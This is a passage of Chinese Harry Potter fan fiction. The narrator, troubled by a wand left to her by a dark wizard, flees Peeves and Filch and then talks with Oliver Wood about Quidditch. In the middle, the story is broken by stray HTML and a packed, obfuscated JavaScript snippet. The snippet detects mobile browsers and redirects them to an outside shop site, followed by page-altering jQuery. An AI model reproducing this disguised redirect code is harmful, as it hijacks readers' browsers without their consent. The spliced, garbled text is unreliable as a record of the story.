庞弗雷夫人一走出门,就看见了拿着发光的魔杖站在门口的我。
在明亮光芒的照耀下,我的脸色显得更加惨白。
像一只从地狱爬出来的幽灵。
她被吓了一跳,同时又有些担心。
波皮·庞弗雷:你需要些帮助吗?
我摇了摇头,这时候连摇头都成了我难以完成的事情。
我:没事……我没事。
发出的声音有些哑,刚才还不是这样。
我转身,失魂落魄地走开了。
这根魔杖,是那个黑巫师留给我的,并且,它是属于我的。
信的主人身份也很明朗了,就是那位黑巫师。
可是,为什么?
那个黑巫师给了一根属于我的魔杖,知道我丧失了之前的记忆,他那么了解我。
我想到他最开始叫我的名字。
摩根。
我是摩根吗?
我和黑巫师有关系吗?
我拼命地想,却怎么也想不出那个黑衣人的脸,就像我在之前的夜里,拼命想着我失去的记忆。
我看向手里的魔杖,它显得安静而又古老。
它没法回答我的问题。
我失魂落魄地走过一节楼梯。
信里说,用了魔杖,我会明白关于我的记忆。
我确实明白了。
我的身份不清不楚啊!
我愤恨地踹了一脚路过的皮皮鬼——
踹了个空。
皮皮鬼惊讶得转过头来。
皮皮鬼:啊呀,我没有去骚扰你,你还敢来主动攻击我?
于是,在上课期间,我被皮皮鬼追着扔粪蛋,几乎跑遍了整个学校。
自作孽,不可活。
终于把它甩开,我气喘吁吁地在原地躺下,直接躺得四仰八叉,头发胡乱得贴在了脸上。
校园里很安静,这也难怪,因为大家都在上课,只有你在逃课。
对,现在已经到上课时间了,而我还在城堡中游荡,像一只幽灵。
算了,与其迟到被所有同学注视,还不如直接逃了这节课。
这节什么课来着……哦,斯内普的魔药课。
关禁闭关就关吧,反正也不差这一次。
我翻了个身,在冰凉的地板上摆烂,不由又回想到了那个话题。
这么一想,我有什么好生气的。
来到霍格沃兹之后,我感觉我变得柔软了,连这点小事都会让我烦成这样,我原来可以不必如此。
黑巫师竟然与我有关系,他想让我去找回自己的记忆。
他肯定,如果我找回记忆,一定会站在他那边。
他又有什么底气呢?
我的记忆里究竟有着什么?
不能告诉邓布利多和魔法部,不然我会在一无所知中就会被送往阿兹卡班。
这个秘密只有我自己能知道,我必须保守秘密。
此时我的表情已归于淡定,好像从现在开始,我的校园生活便不再平静。
想让我站在他那边吗?我偏不想。
我知道,他肯定还会送信过来的。
我从口袋里把已经揉皱的信拿了出来,面无表情地把它一点点撕掉。
好啊,想让我找回记忆,该有些诚意吧。
我的耳朵贴在地上,静静地躺着,脑袋里思绪万千。
直到我听见了地面的震动。
还有着洛丽丝夫人的喵喵叫。
费尔奇来了。
阿格斯·费尔奇:上课时间游荡在城堡里……呵呵,又是哪个坏学生,皮皮鬼的声音那么大,真当我是聋子——
后面传来皮皮鬼尖细的声音。
皮皮鬼:她往这里逃了,往这里逃我看见了!
烦死了。
我立刻从地上爬起来,整个人灰头土脸的,所有的画像都在注视着我。
他们都会告密。
我转身往相反方向跑去。
一气跑下旋转楼梯,我也不知道我到了哪里,只是一味地向前跑。
袍角被风吹起来,发丝被汗粘在脸上,我跳下最后一节楼梯,心里畅快无比。
魔杖在我心口的部位,听着我的胡乱的心跳,安静得像是上个世纪的古物。
那一点冰凉让我在疯狂中有了一个锚点,这隐藏在火山之下的冷意,让我无论多么肆意,还终究保留着一股冰冷的神志。
之前那些为了钱而小心翼翼地在校园里循规蹈矩,害怕触犯规则被开除,现在已经没有那么在意了。
我要在潜伏在巨大的冰山下,靠着那份火热,一步步揭开我蕴含着黑暗的来历。
那很危险,我知道,自从圣诞假期那场事故后,我就已经逃不开了。
我不再是麻瓜,我以后不会在麻瓜世界里工作,因为我与魔法世界,在我并不知道的时候,已经有着千丝万缕的关系。
被捆绑在一起,像一条钢丝线。
最开始并没有巫师来家里指导我,也许只是因为我的来历。
我出现在准入之书,并被探测到,这是一场怎样的开始?
我打开城堡的大门,刺骨的寒风从大门内涌入,露出了昏暗城堡中不能看见的阳光。
迎面吹来,我的脸上再无遮挡,我看见了一片白光,是湖面波光粼粼的光。
今天天气阴,有风。
我走出城堡,大门被关闭。
……
巧的是,我在黑湖边迎着风走着,看见了一个熟悉的人。
他穿着格兰芬多的校服,安静地坐在草坪上,静静地看着黑湖,好像那有什么东西值得他眼睛一眨不眨地关注一样。
我轻声道。
我:奥利弗。
说来也奇怪,我的声音那么小——天地良心,我其实并没准备喊他——他就从呼啸的风中捕捉到了我这一道微小的声音,敏捷地转过来,正好逮到了准备要走的我。
突然看见一脸惊讶的我,他感到很高兴,但注意到我准备离开的样子,他渐渐失落下来。
奥利弗·伍德:你要走了吗?
他看起来有些可怜,我默默地收起来准备迈出的脚,向他摇了摇头。
我:没有……我不打算走。
我走到他旁边,他拍了拍地面,示意我坐下。
我看向杂草丛生的草坪,上面有许多泥土。
但我的身上也没好到哪里去,刚才又跑又躺又被追又被气,浑身上下都透露着“狼狈”二字,像是刚刚去花园里和地精战上三百回合的样子。
我泄气得坐了下来。
伍德没注意到我的样子,他还是盯着湖面出神的模样,连我在旁边使用了好几个清洁一新都不知道。
说起来,好像好久没有见到他了。
我也跟着他一起看向湖面。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16833323|190192||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
这时,他突然出声了。
奥利弗·伍德:格兰芬多被扣了一百分。
我:拉文克劳也被扣了一百。
加上我今天的状况,也许会被扣得更多。
我下意识回他的话,不由转过头看他的表情,不知道他为什么会冒出这一句。
正好对上他幽幽的眼神。
他不再看向湖面,倒是转过头来看我。
奥利弗·伍德:你们又是因为什么被扣了?
解释起来好麻烦。
我简单用一句话概括。
我:打架。
他一脸不可置信的表情,上上下下扫视了我好几眼。
奥利弗·伍德:你还会打架?
我:……你怎么知道是我?
奥利弗·伍德:你们那个社团,之前被排挤走的那个人,是我们格兰芬多的乔·罗伯特——就是最近被扣分的那一个,他和我说了你打人很厉害。
我想起那个卷毛男孩。
是他啊。
我:……
我什么时候动过手。
我冷笑一声。
我:呵,他那是谣言,假的。
我那时候也没露出过想打他的样子吧。
我:我只是被骗了,在旁边站着当观众,结果被连坐了。
伍德砸了砸嘴,他看着我,表情变得严肃起来。
奥利弗·伍德:但你还是加入了那个斯莱特林社团,你是不是……
我打断了他的话。
我:只是恰巧。
我对他解释了我加入社团的原因。
解释清楚后似乎让他的心情好了一些,我趁机问道。
我:那你是因为你们又被扣分而烦恼吗?
你们不是天天被扣分吗?
说到这里,他明显地情绪又低落下来。
奥利弗·伍德:实话和你讲吧,和扣分没有关系。
我仔细地听他的话。
奥利弗·伍德:我关注的一个小型魁地奇球队比赛输了。
我:……
我就多余关心他。
我摸着额角抽动的青筋。
我:什么比赛?
奥利弗·伍德:友谊赛。
我深吸了一口气,不断告诫自己要冷静。
我挤出一个皮笑肉不笑。
我:……都是友谊赛了,要争什么输赢。
奥利弗·伍德:但他们输的原因是战术!他们根本没有制定战术!
都是友谊赛了要什么战术。
我都要笑了。
谢谢你,伍德,把我从刚才那个情绪中拉了出来。
然后让我很真诚地无语了下来。
伍德一聊到魁地奇就滔滔不绝,可惜的是,正好碰上对魁地奇一点都不感兴趣的我,他的话从我左耳朵进右耳朵出。
我在他的讲话声中看着黑湖发呆,这样屏蔽思想,呆坐着也不错。
也只是这时候这样想。
然后我如愿以偿得又收到了一次禁闭。
今晚的禁闭还没完成,下一次的又来了,弗利维院长看起来要晕倒了。
我盯着脚尖,道歉这时也是一回生两回熟了,我熟练地服软。
我:对不起,院长。
看见我乖巧的发旋,他也不好意思说我了,只能发出“呃”的声音。
他看起来都要碎掉了。